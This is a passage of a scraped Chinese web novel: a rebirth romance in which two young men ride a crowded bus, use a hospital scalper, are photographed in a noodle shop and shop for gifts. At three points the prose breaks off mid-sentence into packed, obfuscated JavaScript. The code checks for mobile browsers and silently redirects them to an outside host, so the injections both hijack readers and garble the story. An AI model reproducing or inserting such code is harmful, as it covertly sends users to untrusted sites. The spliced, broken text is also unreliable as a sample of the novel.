0=7.0.6();b(/a|9|1|2|5|4|3|c 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一下一下,楚州行从未感觉到如此安全。 纪敏嘉伸出手,狂风暴雨中,他握住上面一截伞柄,两人不快不慢地迎着风向前走,纪敏嘉的手一点点往下,最后停在楚州行的手背上,紧紧包裹着他。 两人手交叠着,又十指相扣。 也是这一刻,楚州行微微下压伞身,将纪敏嘉与自己完全藏在伞下,隔离所有的视线。 他的眼神温柔至极,纪敏嘉心跳得很快,他有种错觉,下一秒楚州行的吻就会落在他脸上。 谁想,楚州行伸手一指,指向风雨中模糊不清的公交车站台,“跑!”他声音又清又亮,尾音带着笑意,听得纪敏嘉心脏一抽一抽。 两人抱成一团,跌跌撞撞向前方奔跑。 路过的饮品店、超市、炸鸡铺......楚州行没有提,上辈子,这片破败的区域、这些不起眼的地方都贴满了他的广告。 他们只是抱着向前,享受着狂风暴雨下、不为人知的浪漫。 6. 牵手 “不要往前挤,塞不下了,等下一班车。” “后退!挤死了!” “我艹,谁扯我衣服?!” 从外西城到内三环足足要经过72站。 沿线若干家工厂、大仓库、农贸转运中心,还有几个客流量超大的建材市场、服装批发市场。无论什么时候坐车,车厢里都塞满了人。 来帝都之前,楚州行从不知道一辆车,可以挤上千人。 汽车慢腾腾往前开,车窗外的建筑逐渐高大,一路摇摇晃晃。 他们的座位早在半小时前就让给了两位孕妇。 楚州行圈了一个角落,将纪敏嘉护在身前。 人越来越多,不知不觉间整整一车厢密密麻麻耸动着无数颗人头。 楚州行隔着人流窥视窗外景色—— 灰旧的高楼大厦、露骨的广告、老旧的车型....... 一切都如此陌生。 他的视线有些失焦。 暴雨天,雨具滴下来的水珠汇聚在一起,整个车厢底部湿漉漉积了一层水,每个人都在这片汪洋中寻找干燥的土地。 不停有人往楚州行身边挤,男的女的都一脸疲惫。 车里已经塞满人,靠站却还会停,不停地有人试图挤上车,车门一打开,绵密湿冷的空气就扑了进来。 楚州行撑着手肘,借助下车门的三角空间,形成了稳定的结构。 纪敏嘉就在身前,楚州行一点都不会让。 空气本就稀薄,很多人身上又有味道,纪敏嘉呼吸都有些困难。 楚州行的面色也不好看。 察觉到楚州行的烦躁,纪敏嘉用手掌扇来一些新鲜空气,担忧地看着他:“楚哥,累不累?” 楚州行摇了摇头,“别担心。” “换我来吧?” “你别动,乖一点,就呆在这里。” 车驶过凹坑,整个车厢都被惯性甩了一下,身后的人一个推搡一个,排山倒海压过来。楚州行被推得向前倒,纪敏嘉似乎背后长了眼睛,当即转过身,两手一伸,一下搂住了楚州行的腰,抵住他的身体。 楚州行压在纪敏嘉肩上,两人抱在一起随着车身摇晃。 噗通。 楚州行的心脏跳得很快,扑面而来的温暖气息让他晃神,他略低下巴就能触碰到纪敏嘉的碎发,纪敏嘉呼出的温热鼻息轻轻洒在他的颈窝,楚州行的意识空白了一瞬。 楚州行竟有种手足无措的迟疑。 他感觉到纪敏嘉小心翼翼地动了下手臂,似乎想把他推开,可能舍不得,也可能是觉得没有人注意到他们。 纪敏嘉慢慢收拢手臂,紧紧地搂住他。他的脸按在楚州行的胸膛,轻轻地、只一下,就想离开。 楚州行下意识回抱住他,制止了他的动作。 两人在人群中紧紧相拥,四周的力量推挤、压碾。似乎无人注意、似乎习以为常,没有人盯着他们,就好像他们的相爱也不奇怪。 这段路上隔几米就有一个减速带,车辆时不时颠簸一下。 楚州行在纪敏嘉耳边,轻轻喊他的名字,“敏嘉”,他很想说什么。 纪敏嘉乖顺地“嗯”了声。 连楚州行都不知道自己想说什么,可纪敏嘉却能完全感受他的心情。 他的眼神温顺,不需要任何语言,柔软的脸颊贴在楚州行胸前,依偎着,楚州行的心就像被什么东西刮挠,痒得发麻。 “我们——” 突然。 嘎吱。 天旋地转,公交车紧急刹停,整个车厢像被丢进洗衣机,所有人都被搅了遍。 楚州行抱紧纪敏嘉,将他的脑袋护在怀里。他们随着人群向后向前仰倒,前面有人大骂,“不想活了!闯红灯,怎么不撞死他!” 更多哭闹声。 好不容易站稳,楚州行第一时间捧起纪敏嘉的脸,担忧地打量。 纪敏嘉的脸色苍白,眉毛紧蹙,嘴唇也失了血色。 “难受?” 纪敏嘉立即露出笑容,“没事,楚哥”,“就刚才有点晕。” 楚州行心疼地摸了摸纪敏嘉的脸,“快到站了,再坚持一会。” 纪敏嘉乖乖点头。 楚州行不知道刚才剧烈摇晃的那一下,身后人挂着的金属挂件直直砸向他的后背,被纪敏嘉及时挡住了。 尖利的铁块砸在手上,纪敏嘉手背痛得厉害,但他不敢声张,楚州行忧心忡忡的眼神扫过他的脸,纪敏嘉就小心地藏起手掌,尽量不让楚州行察觉出什么。 楚州行没事,纪敏嘉就没那么痛了。 心里想:还好没有砸到楚哥,还好楚哥什么不知道。 . 公交车到达目的地,雨已经停了。 不等他们下车,上车的人就推搡着往里钻,司机沙哑着嗓子喊:“买票!” 楚州行拨开人群,将纪敏嘉拦在斜后方,“让开!” 他语气低沉,动作强硬,很快人流就被他分开。 两人跳下车的那刻都有种新生的感觉。 纪敏嘉伸手帮楚州行整理衣服,他仰着脸,细致地梳理楚州行头发。 他看楚州行的眼神非常动人,脉脉温情,爱意几乎要溢出来。 楚州行见四下无人,去牵他的手,“走吧。” 两人一前一后走着。 最初两人的手紧握着,走到医院石碑处,纪敏嘉轻轻地挠了挠楚州行的手心,提醒楚州行可以松开了。 楚州行动作一滞,他没有回头,走了几步,楚州行忽地微笑,小拇指轻轻勾住纪敏嘉的食指。 . 军区二十四院是全国知名的大医院,治疗皮肤病很有名气。 楚州行走进大厅,就看到挂号处的队伍排了三排。 穿着“爱心志愿”红马甲的引导员忙得晕头转向,天南地北的病人家属操着夹带方言的蹩脚普通话缠着问东问西,而他们身边又围绕着几个黑夹克中年人。 这些人一看就是黄牛,眼神透着精明气,说话响亮又漂亮,还会打配合。 “大姨,李主任的号可不好挂,您排队等?那可要等到明年去。” “咱呐,就花钱买个安心、买个顺利,您花个几百块,我包您顺顺利利挂上号!” “前些日子有个病人死倔,说什么都要自己排号,谁想啊,等了三个月,出去一打听,前面还有一百多号人!他那个气,就和挂号处的小姑娘吵了一架,被人家喊保安拖走了。前几天,他又找到我,让帮忙安排安排。您说,这又是何苦?浪费了时间,损耗了精力、又伤了和气。” 楚州行拿了一次性杯子,给纪敏嘉倒了杯热水,将他领到一个无人的休息区,对纪敏嘉说:“在这等里等我,我去给我妈挂个号。” “这里好几队,我和你一起排。”纪敏嘉抱着伞,“不知道哪边队伍快点?” 楚州行将杯子递给他,又摸摸他的脑袋,口气不容置喙,“那儿病人多,谁知道有没有传染病的,你乖乖在这里等我,我很快就回来。” 楚州行走出去几步,忍不住,又回头看纪敏嘉。 他就举着杯子站在原处,雨伞挂在手腕处,身形瘦削,一眼不眨地望着他。 楚州行朝他笑了一下,他竟向前走了几步,想跟上来。 楚州行连忙挥手,示意纪敏嘉坐下,可纪敏嘉固执地站着,隔空注视着楚州行。 楚州行心软得一塌糊涂。 他动了动唇,想让纪敏嘉来自己身边。纪敏嘉却误解了他的意思,垂头丧气地退了几步,双腿并拢,很乖地坐在楚州行指定的位置上。 也许是觉得自己耽误了楚州行,他故意抿了几口水,双手捧着水杯,整个人举止神态都在朝楚州行传达一个信息“我很乖,你放心”。 这次,楚州行转过身就没再回头,他朝着一个胖男人走去。 他知道,身后始终有一双眼睛。 . 何老三说得口干舌燥,可面前的老阿姨始终用一种不信任的眼神打量他,戒备地搂住怀里的皮包。 何老三也不气恼,在人来人往的医院里笑呵呵地介绍自己。 “大姨,我把身份证给您看,我每天都在这儿蹲活,骗不了您的,我又不是做一次性买卖——”何老三转了转舌头,圆脸挤出个笑容,“不信您去打听打听。” 老阿姨连忙摆手,“别围着我,我不买,走走走,说了大半小时了,你也不嫌烦。” 何老三嬉皮笑脸,缠着不肯走,“李主任的号是真难挂,我真不骗您,今时不同往日,李主任提了副院长,人家要做学术,每天面诊时间又压缩,您自己去排号,前面的都是找牛的、关系户,您小孙子的病我略知一二,拖不得——” 老阿姨拉长脸,面色难看,开口就要骂。 忽地一只手搭在何老三肩膀,轻轻拍了拍。 “你是黄牛?” 何老三被吓了一跳,好脾气的他也忍不住抱怨,“哪有这样拍人肩膀的——” 一转过头他就撞上一张俊俏逼人的脸。面前的青年一看就不是普通人,明明没什么表情,周身气场却强得吓人,举止间有种漫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楚州行走出几步,背后又传来何老三的喊声,“大姨您不找我也没关系,您孙子的病真的拖不了,趁早吧!这里排不上号,您可以去三院看看,三院的张芸主任也不错!” 楚州行接到纪敏嘉,两人并肩往外走。 纪敏嘉没问他为什么直接把钱给了陌生人,他对楚州行是百分百信任,楚州行这么做一定有他的理由。他不问,也不质疑,安静地跟在楚州行身边,心里盘算着晚餐吃什么。 两人走了一段路,楚州行主动开口,“不好奇?” 纪敏嘉抿着唇羞涩一笑,摇了摇头。 “那人确实是黄牛,他们在医院有内线可以插队,咱们找他可以省去很多时间。” 他教导纪敏嘉,“那么多牛我为什么挑了他,你注意到了吗?所有黑夹克,只有他被拒绝了也不生气。”历经很多事,楚州行辨别人自有一套。 “每个牛手里都有渠道,但不是每个牛都对医院的医生了如指掌的,他打听得很细致,也有良心,哪怕做不成生意,该提点也会说。” 纪敏嘉乖乖听着。 “以后跟别人交流多看看对方的眼睛,说谎的人,看你的眼睛会心虚。” 纪敏嘉停住脚步,“楚哥”,楚州行疑惑地略低头,“你看我的眼睛——” 楚州行笑道:“刚学会一招就用在我身上?” 一股若有若无的淡香萦绕在纪敏嘉鼻间,医院的藤花盛开着,淋了秋雨更是芬芳。 纪敏嘉心跳得有点快,但他还是坚定地问:“为什么在二十四院下车?明明你在车上查过,治疗癌症最好的医院是——” 他话没说完,楚州行笑着打断,“因为你在车上很难受。” 最动听的情话是楚州行的实话。 纪敏嘉心酥得要碎掉了,楚州行继续说:“我担心你。” “反正也是找黄牛,哪个医院都一样,他们信息互通的。” 纪敏嘉扑进他怀里,他的手臂缠住楚州行的身躯,闷着头不说话。 楚州行摸了摸他的脑袋,很温柔,纪敏嘉的头发细软,摸起来像摸一只长毛小狗,“这里有一家评分很高的面馆,想吃吗?” 纪敏嘉闷闷不说话。 楚州行伸手摸到他的下巴,将他的脸抬起来。纪敏嘉眼睛睁大,圆溜溜、湿漉漉的。 顶着情意绵绵的目光,楚州行很受用,捏了捏他的脸,“走吧。” 7. 阴差阳错 从二十四院步行十来分钟,拐两个小巷就能看到悬挂在古树上的朱红招牌。 招牌字体龙飞凤舞,刻得极其飘逸。 可惜描边的金漆掉得七七八八,又显落魄。 雨停了,树身还是湿润的,泡了水的树皮爬满了青藓,屋顶的瓦上有残积的雨水,一点点滴落,在檐下形成一道断断续续的雨线。 楚州行凝视着那雨线出神。 朱家面馆,楚州行来过两次。 这次,和上辈子。 这家面馆的老板娘很有想法,也擅于抓住机遇,在自媒体还没兴起的时代,她就贴告示:“点赞过百,免费吃面”,鼓励自媒体人为它“自来水”宣传。 宣传+稳定的品控+有历史韵味的环境,朱家面馆自然而然红了,成了帝都地标性的网红馆子。 楚州行的时代,很多明星自发来这里打卡以便发通稿树立亲民形象。 上辈子,楚州行听从经纪人的安排,深夜带着狗仔,来这摆拍了几张照片。 他已经忘了点了什么。 他只记得那天晚上,从车上下来的那刻,闷热潮湿的空气扑面袭来,几乎是瞬间,他就厌恶上这个地方。 红得太快,又红得太早。 日渐上涨的身价与被操控的傀儡人生形成强烈反差,当楚州行被要求必须做一件事时,情绪就战胜理智。 他排斥、嫌恶,却又不得不去作这场秀。 那天深夜,他戴着一顶自欺欺人的鸭舌帽、大墨镜从全球限量两百辆的顶级豪车上下来,装成一无所知的模样,礼貌点单,与普通客人拼桌,在他人惊愕的表情下拿起筷子。 被经纪人打点好的老板娘系着崭新的围裙,束手束脚地站在旁边。她搓着手,过分热情地背台词,笑意浮在脸上,压出眼角的鱼尾纹。 楚州行侧过脸,笑容无暇,眉目舒展,他状态轻松地与老板娘聊天。 老板娘怕得双肩微微颤抖,可她的表情不敢有一丝改变,依旧笑得夸张。 镜头完美地定格这一帧画面。 之后营销里,楚州行凭借这张照片成功打造出“草根逆袭却不忘初心”的人设。 上辈子,他带着不纯粹目的来。 这辈子,纪敏嘉跟在身边,楚州行只想带他探一探未来的“网红”店。 这面真的那么好吃? 上辈子楚州行只尝了一口,调整拍摄角度用了一些时间,他吃的时候面已经坨了。 楚州行环视整间面馆,找了个背光的座位,招呼纪敏嘉坐下,点餐。 故地重游,楚州行试图寻找熟悉的东西。 从纪敏嘉的角度看去,楚州行薄唇浅眸,整幅面孔过于单薄无情。 流露出的气质与纪敏嘉记忆里开朗阳光的楚哥有很大的差距,纪敏嘉说不出这种感觉,面前的楚哥似乎发生了某种他不知道的变化。 纪敏嘉盯着楚州行的脸发呆。 楚州行找了一圈,没发现任何熟悉的摆件,又将视线转向纪敏嘉。 纪敏嘉穿了件浅色外套,露出的肌肤白净柔软,他用手托着下巴,就这样乖巧地看着自己,也不知道看了多久。 楚州行心中得意,又觉得好笑。 他伸出手轻轻弹了下纪敏嘉的额头,说话也笑盈盈,“你就一刻也离不开我?” 纪敏嘉“哎呦”一声,捂着额头往后躲了躲,他控诉:“楚哥,你吓我一跳。” 这就是他的楚哥,不管他变成什么样,纪敏嘉始终能嗅出他灵魂的味道。 那种熟悉的、亲昵的,他爱的感觉。 当年轻七岁的老板娘端来两碗面时,楚州行习惯性将一碗热腾腾的海鲜面推到纪敏嘉面前,“有点烫。” 很普通的一句话,但他的声音太好听,老板娘不由地看向他。 这样近的距离,能看清楚州行的五官,这不是普通人该有的模样,老板娘看得一愣一愣。 秋日午后的阳光并不刺眼,刚下过一场雨,光都是淡淡的,楚州行皮肤白皙光洁,光流转在他脸上,眉梢眼角透着一股懒洋洋的俊美深邃。 老板娘几乎是一下就被戳中心口。 在遇到楚州行之前,贺胜楠从不相信世上存在一眼惊艳众生的人类。 今天她才明白,原来是她见识短浅。 贺胜楠强压住尖叫的冲动,说话的声音都有点飘,“请、请慢用”,她结结巴巴补充:“不够、可、可以续面。” 她磨磨蹭蹭不肯走,右手一直摩挲屁.股口袋,很想趁着楚州行不注意偷拍。 “谢谢”,楚州行没看她。 他现在不是明星,这也不是秀场,吃一碗面难道还要握着老板娘的手,一脸营业假笑,“女士,你做的面很美味,要留影签名吗?” 那多少有点神经。 纪敏嘉已经拿起筷子搅拌面条,热腾腾的蒸汽裹杂着面食的香味扑面而来。 “好香。”楚州行深嗅一口气,也拿起筷子。 这地方来对了。 老板娘一直不走,被陌生人用炙热的眼神盯着,楚州行很尴尬,只能对着一旁的贺胜楠说:“麻烦你帮我加一点辣,谢谢。” “好好好”,贺胜楠急匆匆往后厨跑,“马上!” 老板娘一跑走,纪敏嘉立即将碗里一个剥好的基围虾,夹到楚州行碗里。 “我这有两个。”他算数很好,“你一个,我一个。” 说着,他又偷偷看老板娘,松了口气,“总算走了。” 纪敏嘉也不喜欢被人盯着,老板娘在旁边,他不敢与楚州行亲近。出门在外,他们都很注意掩饰两人的关系。 楚州行面前的是番茄牛肉面,牛肉有几片,楚州行也夹了一点牛肉番茄给纪敏嘉。 纪敏嘉闷头吃面,他吃饭的姿势很乖,老老实实捧着碗,筷子也夹在最中间。他习惯先吃没什么滋味的面条,将牛肉鲜虾这类配料放到最后。 楚州行看他吃得香,有点馋了,“味道怎么样?” “好吃!” “我喝点汤”,楚州行拿了勺子,纪敏嘉已经将碗推到他面前,眼巴巴的望着他,“楚哥,你多吃点,碗底汤里有玉米粒,很鲜。” 海鲜面配料很少,调味主要是现熬的鱼骨汤,奶白色的汤底非常鲜美,楚州行喝了一口,味道较淡,没加什么味精,他很喜欢。 楚州行又喝了口,他总觉得上辈子的那口面滋味差现在太多了,不知道是店家偷工减料,还是因为纪敏嘉不在身边。 见楚州行喜欢,纪敏嘉高兴地夹起面条喂给他,“尝尝嘛——” 楚州行顺势咬了一口。 纪敏嘉一直看着他,楚州行刚咽下去,他又赶紧夹了一筷子,这筷里还裹着牛肉。 “你自己吃。” 纪敏嘉很固执地一定要喂给他,看楚州行吃下去,眼睛一下子就亮了,他满足地又夹起一筷,这筷里有只大虾。 楚州行说什么都不肯吃,“我这儿还有一大碗,快吃不下了。” “你吃不完可以给我呀!” 纪敏嘉很好养活,两人相处如同夫妻,吃对方的剩饭都是习以为常的。 楚州行抬着眼看纪敏嘉。他笑起来眼儿弯弯,目光落在楚州行脸上是如此专注,不知是否是因为吃过烫食的缘故,他的嘴唇格外红润,泛着一层诱人的水光。楚州行的心忽地重重一跳,微侧过脸。 楚州行忍不住笑起来。 后厨。 明明辣椒油、辣子面就摆在面前的调料台上,贺胜楠就是找不到。 她脑子里全是楚州行的眼神。 楚州行的眼睛很好看,光线下,他的眸色会呈现出琥珀的质感,像冬日清晨的阳光,漂亮得有点刺眼。 贺胜楠对楚州行没什么世俗的欲望,她单纯被楚州行的容貌震住了。 世上居然有这么帅的男人! 一想到楚州行抬眸时的惊艳瞬间,贺胜楠连自己进来找什么都忘记了。 躲在后厨,她透过门帘缝隙悄悄窥视,手里握着的手机已经打开摄像模式,却始终没有点开录像。 楚州行搅拌着面条,察觉到老板娘在窥探他,也没当回事。 灯光下,楚州行皮肤白皙光洁,唇角的弧度似有似无,侧看、正看,神态举止轻盈、充满魅力。 她要拍就拍吧。 “帝漂”两年,楚州行工作、生活两点一线,又因为自己是个同性恋,他很注重保护隐私,几乎没留下任何可以“圈粉”的露脸图频。 混迹娱乐圈十多年的楚州行很清楚,一个没有“过去”的明星会丧失很多话题度,也会惹来更多的麻烦。 有时,将过去藏得严严实实并不是什么好事。粉丝会对你的私生活更好奇,会越线去追私,会享受扒出隐私的快.感。 楚州行知道老板娘经营了博客,上辈子她将自己的博客改成了面馆的宣传号,楚州行偶尔会刷到她家的抽象宣传视频。楚州行不介意她把自己挂网上,他只在乎... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691010|173344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ... 瞥见贺胜楠举起手机,楚州行伸手一挡—— 咔擦。 面馆非常安静,在场的三个人都听到手机拍照时特有机械声。 纪敏嘉一下子站了起来,惶恐看向楚州行,似乎要冲出去。楚州行一把握住纪敏嘉的手,安抚地攥紧,“没事的。” “楚哥——”,纪敏嘉眼中充满警惕,他直直盯着声音所在的位置,白皙的手背因为用力凸出一道道青色的脉络。 楚州行告诉过他,一定要藏好两人的关系,绝不能被拍到什么亲密照片。 “没关系的,别担心......敏嘉,你别怕......” 他此刻,很像一只应激的小动物,无措而惊慌。 楚州行握紧他的手,感受着掌心下的细腻温暖,“我们只是出来吃碗面,这很正常。” 他看向贺胜楠,目光平静,“我会处理好的。” 偷拍被发现了,贺胜楠涨得满脸通红,她手忙脚乱躲到调料台下,想删掉照片,手指哆哆嗦嗦,按着屏幕却连密码都解不开。 楚州行走到她身边,曲着食指敲了敲案板,“你好,能看一下你拍的照片?” “啊?”贺胜楠紧张地握紧手机,“我马上就删!”她脸颊通红,飞速道歉,“不好意思拍到了你们。” 楚州行倒没有生气,接过手机看了看照片,他的模样被清清楚楚拍了出来,纪敏嘉被他挡住了脸,只拍到一截白皙的下巴。 只能看出是个年轻男人。 楚州行将手机还给贺胜楠,在她忐忑的目光下,他笑了一下,“把我拍得很帅。” 他温和的态度让贺胜楠心中升起一丝微弱的希望,拍的这张照片她还没看过,现在让她删掉,她还真有些舍不得,她殷切地问:“我能留着吗?” “随你。” 贺胜楠一下子兴奋了,得寸进尺又问:“我能发到网上吗?”可能是觉得自己有些冒昧,她又连忙补充,“帅哥你太帅了,你是我见过最帅的人,我保证只把你的照片发到我的博客上,我就想分享一下生活。” 楚州行点点头。 贺胜楠高兴得要给他们免单,纪敏嘉给她钱,她说什么都不要,把两人送到门口,还笑眯眯地邀请他们下次再来。 . 楚州行两人走后,店里没有客人,闲下来的贺胜楠哼着歌打开修图软件,一顿操作,精心修了半小时的图,才上传到自己的博客,没有精心设计的文案,只有短短一句: [今天面馆来了位帅哥] 发出去的短短几分钟,转发评论人数就达上千人,直接破了她最高转发记录。 转发还在以一种不可思议的数字上涨着,她的社交好友们像土里冒出来的竹笋,一个个兴奋地在评论区追问: [还有照片吗?] [羡慕,你有没有要联系方式啊] [哇,纯的民间帅哥一枚吖] [旁边的小哥哥怎么被挡住了脸?感觉也是个帅哥耶] 手机像素有点低,但拍的图片很有意境。 楚州行侧看向摄像头,伸手挡住自己的同伴,近乎是守护的姿态。 他的神情警惕,无遮拦的灯光将他的一只眼瞳照得偏澄,眼神薄薄的,下颚弧线干净利落,打下的光芒穿过桌上的玻璃水杯,空气里的浮尘被照得清清楚楚。 他太俊美,贺胜楠又将色调修到最佳,完全凸显了楚州行的气质。 像一阵呼啸而来的冷风。 被他挡住的年轻男人只有一点轮廓,完全藏在他的手下。 这种不常见的气质瞬间俘虏了无数网友。 他们在评论区动情地夸赞楚州行的魅力,追问楚州行的来历。 不出意外的话,楚州行的这张图片将成为日后的最佳考古。 贺胜楠还沉浸在兴奋中,她时不时翻看一下手机,看着逐渐增多的转发、评论,她时不时回复着: [没有联系方式呀,他也是今天才来我们店里的新客] [不知道叫啥名字] [他同伴也是个年轻帅哥,可惜不让拍,呜呜] 网络上的喧嚣,楚州行并不清楚,他也不太在乎。 今天只是偶然的交集,日后也不会再相遇。今天,楚州行珍藏的回忆,只有陪纪敏嘉吃的那碗面。 至于其他,就像现在网络上流传的这张图片,随着时间,总会被遗忘、消失。 楚州行很清楚,自己真正能把握什么。 8. 蝼蚁 楚州行能把握的东西很少,能选择的,就更少。 他也不喜欢做出选择。选择对于他就是失去。 . “楚哥,选哪个好?” 楚州行一回神就看到纪敏嘉站在货架前摇巧克力,他的笑容很有感染力,楚州行忽然忘记自己想说什么。 他向着纪敏嘉走去,脑海里翻来覆去都是那张纯粹的笑脸。 纪敏嘉的眼睛很圆,睫毛纤长,笑的时候眼神温顺,那是个纯真善良的笑容,好像某种无害温柔的小动物。 他的唇总是比别人要湿润一些,笑起来,嘴唇软得过分。 纪敏嘉摊着手掌,“这块有大颗粒的榛子,甜甜的。”他向楚州行展示手里的巧克力,“这块是意大利进口的,很纯,但很苦。” 楚州行随意扫了眼,只注意到他的掌纹。 纪敏嘉的感情线特别深,很笔直的一条纹路,有始有终,直接将事业线穿了个巨大的叉。 楚州行心中波澜起伏,面上却不显,道:“这块。” “会不会太苦了?”纪敏嘉有点犹豫,“妹妹会喜欢吗?” 他的眼神时不时瞄一下手里的榛子巧克力。 楚州行一眼就看出他喜欢哪个,故意逗他:“太甜,吃了会蛀牙。” 他伸手,理了理纪敏嘉散下的碎发,手指擦过纪敏嘉的耳垂,带来有温度的痒意,似乎有什么从他心脏上刷过。 “这款很好吃的。”纪敏嘉极力解释,“不算太甜,它是很香醇丝滑的味道。” “你吃过?” 楚州行将两块巧克力都丢进购物车。 “以前我考得很好,妈妈会给我一块。”纪敏嘉满足地推着购物车,“是真的很好吃!” 楚州行情绪复杂,他突然意识到纪敏嘉跟他在一起的这些年,这样的巧克力他从来没买过一块,他从来就没要求过楚州行为他的喜好买单。 哪怕他把赚到的钱都放在楚州行身边保管。 看着纪敏嘉慢吞吞地推着车,楚州行竟觉得他有些可怜。 楚州行声音低沉,“楚遥......她喜欢一切贵的东西,黑巧包装上都是英文,她会喜欢的 。”他停了片刻,“榛子巧克力是买给你的。” 纪敏嘉双手压在购物车的横杠上,转过头笑得很狡猾,他学着楚州行的腔调,“不吃,吃了会蛀牙。” “偶尔一块没关系的,你不是觉得挺好吃?” 纪敏嘉头摇得像拨浪鼓,“是很好吃,所以我想让妹妹也尝尝。”他推着车继续向前,边推边看货架上的东西,“我长大了,现在也不喜欢吃甜的。” 纪敏嘉觉得自己成长了,会取舍了。 一块巧克力的价钱可以买一斤牛肉或者五斤蔬菜水果,比起一点点甜味带来的快乐,还是把钱省在生活上更令他开心。 楚哥的妈妈生病了,他们要努力省钱,给妈妈更好的医疗、更好的照顾。 楚州行跟在他身后,看着他在各个货架上翻翻看看。 “给阿姨带点什么?蜂蜜好不好?最近广告都说蜂王浆对身体好。” “这个大牌子,买了放心。” “再买点阿胶。” 他将一个个价格昂贵的营养品放进购物车,这时候就一点也不在乎价格。 购物车已经堆了一座小山,楚州行制止他往车里添东西,“太多了,我就回去几天,这些东西我拿不了。” “不用全部带回去啊,就放在家里,等阿姨搬来了,可以直接吃。”纪敏嘉又将一罐老年人专用的羊奶粉放进去,“我明天把屋子整理出来,咱们客厅加个挂帘能隔出一个餐厅,我再去买个砂锅,阿姨来了,可以炖点有营养的汤。” 他像是突然想到什么,“我再去买点药材,杜仲炖鸡对身体好,也给妹妹补一补。” 纪敏嘉深爱楚州行,自然会爱楚州行爱的人。 楚州行握住他的手腕,直截了当阻止了纪敏嘉装满购物车的行为。 四周吵吵闹闹,不停有人路过。 两人靠得极近,呼吸间都是对方的鼻息。 大庭广众下被楚州行牵住,纪敏嘉第一反应是害怕,他立刻环视四周,小心翼翼地观察着,见没有人注意到他们,这才一点点挣扎着将自己的手抽出来。 他的手腕处残存着楚州行的体温,这一点点的温度让纪敏嘉耳垂都烧红了。 他的手指都在颤抖。 楚州行告诉他,“敏嘉,两个男人握一下手腕是很普遍的事,没关系的,没有人会注意到我们。” 纪敏嘉声音压得极低,他还是怕,“万一被人拍到呢?”他不放心又瞄了瞄周围,“楚哥,你是要当大明星的,不能被人发现是。” 他突然停住了声音,含含糊糊把那三个字一带而过,只说:“下次,别这样。” 楚州行内心百感交集。 “帝漂”两年,他一次次试镜又一次次失望,从一开始的踌躇满志,到后来的心灰意冷,他自己都不信自己能红。成为大明星已经是遥不可及的梦想,可纪敏嘉仍然愿意相信他。 他坚信着,比楚州行本人更坚定。 楚州行问纪敏嘉:“一点点大的地方怎么住得下那么多人?” 纪敏嘉一愣,有些疑惑道:“阿姨可以跟妹妹睡一张床,咱们还有个小沙发”,想起什么,他笑了起来,“对哦,那张沙发太短了,你睡会不舒服,我明天去买架小床。” 说着,他安慰起来,“咱家的条件是很艰苦,要辛苦楚哥你啦。” 楚州行心里酸的要命,“你呢?” 你住哪里?你要搬去哪里? 纪敏嘉就没准备留下来,他会一个人带着自己的东西搬出两人的家。 他很清楚,自己是需要藏起来的男情人,就像两人的感情,不能见一点光。 “哎呀,你就别担心我,我一个大男人,演员工会还有间休息室,我打算去那里凑合凑合。” “那里连窗户都没有。” “有插头,有水壶啊,还有包了垫子的长椅子,我在那里有免费的水喝,还能省房租。” “会很辛苦。” 纪敏嘉注视着楚州行的眼睛,他的瞳孔里完全倒映着楚州行的模样,“不辛苦,怎么会辛苦?”他眼神特别温柔,整幅面孔软得要融化。 他的神态、表情、动作都在向楚州行传达一个信息:他真的很幸福。 楚州行深吸一口气,接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691011|173344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过购物车,推着向前走,纪敏嘉就跟在他身后。 一路上,楚州行没敢看他一眼,他怕自己流泪。 一购物车都是纪敏嘉给他家人选的礼物,他问纪敏嘉:“怎么不买点菜,你明天吃什么?” 纪敏嘉气有点喘,“冰箱里还有鸡蛋,不够,我明天再买点。” 又在撒谎。 按照计划,明天纪敏嘉要打扫房间,出门采购所需的物资,还要藏起自己的生活过痕迹,哪还有时间去买菜、去给自己做一顿饭? 楚州行付完账,用的是纪敏嘉给的钱。 一人拎着一个大购物袋,楚州行放慢脚步,等纪敏嘉与他并肩,路过拐角,他低下头擦着纪敏嘉的脸,很轻地说:“明天,你陪我一起回去。” 纪敏嘉大惊失色,“不可以。”他拒绝地干脆利落,察觉到自己的惊慌,他又软了语气,“楚哥,我们都回去了,谁收拾屋子?” 他眼神很可怜,几乎是乞求地看着楚州行。 楚州行很平静地与他对视,“不用收拾,我打算在医院附近给我妈租一间屋子,我们住的地方离医院太远了,不方便。” 听到这,纪敏嘉嘴唇动了动,楚州行知道他想说什么,只说,“我妈妈脾气很好,她知道你跟我住在一起。我想带你回我的家乡,去看看我生长的地方。” “那里有很多橘子树,现在橘子都成熟了。” 纪敏嘉眼神晃了晃,小心翼翼地问:“阿姨知道我们是......朋友?” 楚州行点了点头,“她很喜欢你。” 纪敏嘉明显松了口气,看向楚州行的眼神湿漉漉的。 